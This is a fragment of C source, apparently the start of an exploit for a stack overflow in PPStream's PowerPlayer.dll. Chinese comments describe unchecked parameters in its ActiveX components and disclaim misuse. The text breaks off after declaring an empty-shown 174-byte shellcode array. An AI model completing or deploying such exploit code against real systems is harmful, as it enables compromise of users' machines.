// 昨天无聊，搞了一下 PPStream。发现其有很多的编码问题。
// 其中好多接口方法都没有严格检查参数，堆溢出和栈溢出都有, 。
// PowerList.ocx, PowerPlayer.dll 都有此类问题, 这里利用的是 PowerPlayer.dll 中的栈溢出。
// 只用于交流学习用，不要用于xx, 否则后果自负。
// 附:最近老是贴代码，这因为自己的表达能力就只要这些了
#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdio.h>
const unsigned char shellcode[174] =
{
// 必须是偶数大小
